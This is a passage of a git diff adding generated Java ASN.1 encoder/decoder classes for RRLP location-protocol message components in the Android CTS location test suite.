+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class Rel98_MsrPosition_Req_Extension extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_Rel98_MsrPosition_Req_Extension
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public Rel98_MsrPosition_Req_Extension() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_Rel98_MsrPosition_Req_Extension;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_Rel98_MsrPosition_Req_Extension != null) {
+ return ImmutableList.of(TAG_Rel98_MsrPosition_Req_Extension);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new Rel98_MsrPosition_Req_Extension from encoded stream.
+ */
+ public static Rel98_MsrPosition_Req_Extension fromPerUnaligned(byte[] encodedBytes) {
+ Rel98_MsrPosition_Req_Extension result = new Rel98_MsrPosition_Req_Extension();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new Rel98_MsrPosition_Req_Extension from encoded stream.
+ */
+ public static Rel98_MsrPosition_Req_Extension fromPerAligned(byte[] encodedBytes) {
+ Rel98_MsrPosition_Req_Extension result = new Rel98_MsrPosition_Req_Extension();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private Rel98_Ext_ExpOTD rel98_Ext_ExpOTD_;
+ public Rel98_Ext_ExpOTD getRel98_Ext_ExpOTD() {
+ return rel98_Ext_ExpOTD_;
+ }
+ /**
+ * @throws ClassCastException if value is not a Rel98_Ext_ExpOTD
+ */
+ public void setRel98_Ext_ExpOTD(Asn1Object value) {
+ this.rel98_Ext_ExpOTD_ = (Rel98_Ext_ExpOTD) value;
+ }
+ public Rel98_Ext_ExpOTD setRel98_Ext_ExpOTDToNewInstance() {
+ rel98_Ext_ExpOTD_ = new Rel98_Ext_ExpOTD();
+ return rel98_Ext_ExpOTD_;
+ }
+
+
+
+ private Rel98_MsrPosition_Req_Extension.gpsTimeAssistanceMeasurementRequestType extensionGpsTimeAssistanceMeasurementRequest;
+ public Rel98_MsrPosition_Req_Extension.gpsTimeAssistanceMeasurementRequestType getExtensionGpsTimeAssistanceMeasurementRequest() {
+ return extensionGpsTimeAssistanceMeasurementRequest;
+ }
+ /**
+ * @throws ClassCastException if value is not a Rel98_MsrPosition_Req_Extension.gpsTimeAssistanceMeasurementRequestType
+ */
+ public void setExtensionGpsTimeAssistanceMeasurementRequest(Asn1Object value) {
+ extensionGpsTimeAssistanceMeasurementRequest = (Rel98_MsrPosition_Req_Extension.gpsTimeAssistanceMeasurementRequestType) value;
+ }
+ public void setExtensionGpsTimeAssistanceMeasurementRequestToNewInstance() {
+ extensionGpsTimeAssistanceMeasurementRequest = new Rel98_MsrPosition_Req_Extension.gpsTimeAssistanceMeasurementRequestType();
+ }
+
+ private GPSReferenceTimeUncertainty extensionGpsReferenceTimeUncertainty;
+ public GPSReferenceTimeUncertainty getExtensionGpsReferenceTimeUncertainty() {
+ return extensionGpsReferenceTimeUncertainty;
+ }
+ /**
+ * @throws ClassCastException if value is not a GPSReferenceTimeUncertainty
+ */
+ public void setExtensionGpsReferenceTimeUncertainty(Asn1Object value) {
+ extensionGpsReferenceTimeUncertainty = (GPSReferenceTimeUncertainty) value;
+ }
+ public void setExtensionGpsReferenceTimeUncertaintyToNewInstance() {
+ extensionGpsReferenceTimeUncertainty = new GPSReferenceTimeUncertainty();
+ }
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getRel98_Ext_ExpOTD() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getRel98_Ext_ExpOTD();
+ }
+
+ @Override public void setToNewInstance() {
+ setRel98_Ext_ExpOTDToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? Rel98_Ext_ExpOTD.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "rel98_Ext_ExpOTD : "
+ + getRel98_Ext_ExpOTD().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ @Override public boolean isExplicitlySet() {
+ return getExtensionGpsTimeAssistanceMeasurementRequest() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getExtensionGpsTimeAssistanceMeasurementRequest();
+ }
+
+ @Override public void setToNewInstance() {
+ setExtensionGpsTimeAssistanceMeasurementRequestToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ throw new UnsupportedOperationException(
+ "BER decoding not supported for extension elements");
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ throw new UnsupportedOperationException(
+ "BER is not supported for extension elements");
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ throw new UnsupportedOperationException(
+ "BER is not supported for extension elements");
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "gpsTimeAssistanceMeasurementRequest : "
+ + getExtensionGpsTimeAssistanceMeasurementRequest().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ @Override public boolean isExplicitlySet() {
+ return getExtensionGpsReferenceTimeUncertainty() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getExtensionGpsReferenceTimeUncertainty();
+ }
+
+ @Override public void setToNewInstance() {
+ setExtensionGpsReferenceTimeUncertaintyToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ throw new UnsupportedOperationException(
+ "BER decoding not supported for extension elements");
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ throw new UnsupportedOperationException(
+ "BER is not supported for extension elements");
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ throw new UnsupportedOperationException(
+ "BER is not supported for extension elements");
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "gpsReferenceTimeUncertainty : "
+ + getExtensionGpsReferenceTimeUncertainty().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+
+
+
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class gpsTimeAssistanceMeasurementRequestType extends Asn1Null {
+ //
+
+ private static final Asn1Tag TAG_gpsTimeAssistanceMeasurementRequestType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public gpsTimeAssistanceMeasurementRequestType() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_gpsTimeAssistanceMeasurementRequestType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_gpsTimeAssistanceMeasurementRequestType != null) {
+ return ImmutableList.of(TAG_gpsTimeAssistanceMeasurementRequestType);
+ } else {
+ return Asn1Null.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new gpsTimeAssistanceMeasurementRequestType from encoded stream.
+ */
+ public static gpsTimeAssistanceMeasurementRequestType fromPerUnaligned(byte[] encodedBytes) {
+ gpsTimeAssistanceMeasurementRequestType result = new gpsTimeAssistanceMeasurementRequestType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new gpsTimeAssistanceMeasurementRequestType from encoded stream.
+ */
+ public static gpsTimeAssistanceMeasurementRequestType fromPerAligned(byte[] encodedBytes) {
+ gpsTimeAssistanceMeasurementRequestType result = new gpsTimeAssistanceMeasurementRequestType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "gpsTimeAssistanceMeasurementRequestType (null value);\n";
+ }
+}
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("Rel98_MsrPosition_Req_Extension = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/RelDistance.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/RelDistance.java
new file mode 100755
index 0000000..34473a9
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/RelDistance.java
@@ -0,0 +1,108 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class RelDistance extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_RelDistance
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public RelDistance() {
+ super();
+ setValueRange("-200000", "200000");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_RelDistance;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_RelDistance != null) {
+ return ImmutableList.of(TAG_RelDistance);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new RelDistance from encoded stream.
+ */
+ public static RelDistance fromPerUnaligned(byte[] encodedBytes) {
+ RelDistance result = new RelDistance();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new RelDistance from encoded stream.
+ */
+ public static RelDistance fromPerAligned(byte[] encodedBytes) {
+ RelDistance result = new RelDistance();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "RelDistance = " + getInteger() + ";\n";
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/Rel_5_MsrPosition_Rsp_Extension.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/Rel_5_MsrPosition_Rsp_Extension.java
new file mode 100755
index 0000000..89e2931
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/Rel_5_MsrPosition_Rsp_Extension.java
@@ -0,0 +1,344 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class Rel_5_MsrPosition_Rsp_Extension extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_Rel_5_MsrPosition_Rsp_Extension
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public Rel_5_MsrPosition_Rsp_Extension() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_Rel_5_MsrPosition_Rsp_Extension;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_Rel_5_MsrPosition_Rsp_Extension != null) {
+ return ImmutableList.of(TAG_Rel_5_MsrPosition_Rsp_Extension);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new Rel_5_MsrPosition_Rsp_Extension from encoded stream.
+ */
+ public static Rel_5_MsrPosition_Rsp_Extension fromPerUnaligned(byte[] encodedBytes) {
+ Rel_5_MsrPosition_Rsp_Extension result = new Rel_5_MsrPosition_Rsp_Extension();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new Rel_5_MsrPosition_Rsp_Extension from encoded stream.
+ */
+ public static Rel_5_MsrPosition_Rsp_Extension fromPerAligned(byte[] encodedBytes) {
+ Rel_5_MsrPosition_Rsp_Extension result = new Rel_5_MsrPosition_Rsp_Extension();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private Extended_reference extended_reference_;
+ public Extended_reference getExtended_reference() {
+ return extended_reference_;
+ }
+ /**
+ * @throws ClassCastException if value is not a Extended_reference
+ */
+ public void setExtended_reference(Asn1Object value) {
+ this.extended_reference_ = (Extended_reference) value;
+ }
+ public Extended_reference setExtended_referenceToNewInstance() {
+ extended_reference_ = new Extended_reference();
+ return extended_reference_;
+ }
+
+ private OTD_MeasureInfo_5_Ext otd_MeasureInfo_5_Ext_;
+ public OTD_MeasureInfo_5_Ext getOtd_MeasureInfo_5_Ext() {
+ return otd_MeasureInfo_5_Ext_;
+ }
+ /**
+ * @throws ClassCastException if value is not a OTD_MeasureInfo_5_Ext
+ */
+ public void setOtd_MeasureInfo_5_Ext(Asn1Object value) {
+ this.otd_MeasureInfo_5_Ext_ = (OTD_MeasureInfo_5_Ext) value;
+ }
+ public OTD_MeasureInfo_5_Ext setOtd_MeasureInfo_5_ExtToNewInstance() {
+ otd_MeasureInfo_5_Ext_ = new OTD_MeasureInfo_5_Ext();
+ return otd_MeasureInfo_5_Ext_;
+ }
+
+ private UlPseudoSegInd ulPseudoSegInd_;
+ public UlPseudoSegInd getUlPseudoSegInd() {
+ return ulPseudoSegInd_;
+ }
+ /**
+ * @throws ClassCastException if value is not a UlPseudoSegInd
+ */
+ public void setUlPseudoSegInd(Asn1Object value) {
+ this.ulPseudoSegInd_ = (UlPseudoSegInd) value;
+ }
+ public UlPseudoSegInd setUlPseudoSegIndToNewInstance() {
+ ulPseudoSegInd_ = new UlPseudoSegInd();
+ return ulPseudoSegInd_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getExtended_reference() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getExtended_reference();
+ }
+
+ @Override public void setToNewInstance() {
+ setExtended_referenceToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? Extended_reference.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "extended_reference : "
+ + getExtended_reference().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getOtd_MeasureInfo_5_Ext() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getOtd_MeasureInfo_5_Ext();
+ }
+
+ @Override public void setToNewInstance() {
+ setOtd_MeasureInfo_5_ExtToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? OTD_MeasureInfo_5_Ext.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "otd_MeasureInfo_5_Ext : "
+ + getOtd_MeasureInfo_5_Ext().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 2);
+
+ @Override public boolean isExplicitlySet() {
+ return getUlPseudoSegInd() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getUlPseudoSegInd();
+ }
+
+ @Override public void setToNewInstance() {
+ setUlPseudoSegIndToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? UlPseudoSegInd.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ulPseudoSegInd : "
+ + getUlPseudoSegInd().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+
+
+
+
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("Rel_5_MsrPosition_Rsp_Extension = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/Rel_5_ProtocolError_Extension.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/Rel_5_ProtocolError_Extension.java
new file mode 100755
index 0000000..a4d34a8
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/Rel_5_ProtocolError_Extension.java
@@ -0,0 +1,224 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class Rel_5_ProtocolError_Extension extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_Rel_5_ProtocolError_Extension
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public Rel_5_ProtocolError_Extension() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_Rel_5_ProtocolError_Extension;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_Rel_5_ProtocolError_Extension != null) {
+ return ImmutableList.of(TAG_Rel_5_ProtocolError_Extension);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new Rel_5_ProtocolError_Extension from encoded stream.
+ */
+ public static Rel_5_ProtocolError_Extension fromPerUnaligned(byte[] encodedBytes) {
+ Rel_5_ProtocolError_Extension result = new Rel_5_ProtocolError_Extension();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new Rel_5_ProtocolError_Extension from encoded stream.
+ */
+ public static Rel_5_ProtocolError_Extension fromPerAligned(byte[] encodedBytes) {
+ Rel_5_ProtocolError_Extension result = new Rel_5_ProtocolError_Extension();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private Extended_reference extended_reference_;
+ public Extended_reference getExtended_reference() {
+ return extended_reference_;
+ }
+ /**
+ * @throws ClassCastException if value is not a Extended_reference
+ */
+ public void setExtended_reference(Asn1Object value) {
+ this.extended_reference_ = (Extended_reference) value;
+ }
+ public Extended_reference setExtended_referenceToNewInstance() {
+ extended_reference_ = new Extended_reference();
+ return extended_reference_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getExtended_reference() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getExtended_reference();
+ }
+
+ @Override public void setToNewInstance() {
+ setExtended_referenceToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? Extended_reference.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "extended_reference : "
+ + getExtended_reference().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("Rel_5_ProtocolError_Extension = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/Rel_7_MsrPosition_Rsp_Extension.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/Rel_7_MsrPosition_Rsp_Extension.java
new file mode 100755
index 0000000..03d4730
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/Rel_7_MsrPosition_Rsp_Extension.java
@@ -0,0 +1,345 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
